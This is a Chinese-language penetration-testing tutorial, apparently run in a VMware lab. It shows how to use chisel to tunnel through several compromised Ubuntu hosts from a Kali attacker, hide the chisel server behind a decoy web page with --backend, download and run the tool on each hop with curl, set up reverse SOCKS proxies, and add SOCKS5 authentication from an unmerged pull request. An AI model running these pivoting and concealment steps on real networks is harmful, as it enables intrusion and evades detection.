本文主要介绍 chisel 工具使用一个小技巧和添加 socks5 认证
测试环境为 VMware 虚拟机
网卡设置如下
使用到的虚拟机如下,web01-03 使用双网卡配置。
使用 Kali 作为攻击者,四个 Ubuntu 作为受害者,最终的目的是访问 30.129:443 端口。
Kali
192.168.99.128 (假设为互联网ip)
web01
192.168.99.129
10.10.10.128
web02
10.10.10.129
10.10.20.128
web03
10.10.20.129
10.10.30.128
web04
10.10.30.129
内网渗透端口转发之 chisel 使用
在 chisel 中有一个非常好用的参数 --backend
。参数介绍如下
--backend, Specifies another HTTP server to proxy requests to when
chisel receives a normal HTTP request. Useful for hiding chisel in
plain sight.
这个参数可以指定另一个正常的 http 服务器作为代理,可以用来隐藏 chisel 服务器。效果如下:
命令如下:
写入一串测试字符到index.html
的文件中,用于创建一个简单的网页。
$ echo "<h1>Chisel</h1>" > index.html
$ ls
chisel index.html
接着使用Python内置的http.server
模块启动一个HTTP服务器,监听端口80。
$ python -m http.server 80
使用 chisel 启动服务器,创建一个隧道和代理。指定 chisel 服务器监听端口1337,并将传入的连接转发到位于192.168.99.137
上的HTTP服务器(本机,也可以是任意url)。
$ ./chisel server -p 1337 --backend http://192.168.99.137 --reverse
这样的话可以自制一个正常页面,并且也可以用于托管工具。
多层转发演示
Kali
$ ./chisel server -p 1337 --backend http://192.168.99.137 --reverse
Web01
使用 backend 参数后,就可以在服务端口来下载工具,可以做一些适当的更改(使用 nginx,而不是 python)。
# 下载工具并加执行权限
curl 192.168.99.136:1337/chisel -o chisel
chmod +x chisel
# 启动服务,用于连接下层主机
./chisel server -p 1337 --backend http://192.168.99.136:1337 --reverse
# 将 10.128的 1443 转发到 上层主机 1443 端口(本地监听)
./chisel client 192.168.99.136:1337 R:127.0.0.1:1443:10.10.10.128:1443
Web02
# 下载工具并加执行权限
curl 10.10.10.129:1337/chisel -o chisel
chmod +x chisel
# 启动服务,用于连接下层主机
./chisel server -p 1337 --backend http://10.10.10.129:1337 --reverse
Web03
# 下载工具并加执行权限
curl 10.10.20.130:1337/chisel -o chisel
chmod +x chisel
# 将远程 30.128主机的 443 转发到 上层主机 1443 端口
./chisel client 10.10.20.130:1337 R:1443:10.10.30.128:443
在 Web04 上日志如下
再多一层
Kali
$ echo "<h1>Chisel</h1>" > index.html
$ python -m http.server 80
$ ./chisel server -p 1337 --backend http://192.168.99.137 --reverse
Kali
192.168.99.136
web01
./chisel server -p 1337 --backend http://192.168.99.136:1337 --reverse
./chisel client 10.10.10.129:1337 R:1443:1443
192.168.99.144
10.10.10.129
web02
./chisel server -p 1337 --backend http://10.10.10.129:1337 --reverse
./chisel client 10.10.10.129:1337 R:1443:1443
10.10.10.128
10.10.20.130
web03
./chisel server -p 1337 --backend http://10.10.20.130:1337 --reverse
./chisel client 10.10.20.130:1337 R:1443:1443
10.10.20.129
10.10.30.129
web04
/chisel client 10.10.30.129:1337 R:1443:10.10.40.129:443
10.10.30.128
10.10.40.130
Web01
Web02
Web03
Web04
Web05
socks 代理
同样的也可以做 socks 代理
只需要将终点的命令改为 ./chisel client 10.10.20.130:1337 R:0.0.0.0:1443:socks
此时是没有 socks 认证的不太安全。
但 chisel 中已有一个拉去请求,没被作者合并
https://github.com/jpillora/chisel/pull/258/files#diff-1c7b519633cdf38b37f96f2a61e7895a468d5a1ca2e07cb2be1df6981833f462
下载源码,增加上面的请求的代码。编译后得到一个有认证功能的 chisel。
下面是测试命令
Kali
./chisel server -p 13371 --backend http://192.168.99.137 --reverse
Web02
./chisel_auth client --socks5-auth=admin:pwda 192.168.99.136:13371 R:1999:socks
最终结果,可以看到只有密码正确才可以请求到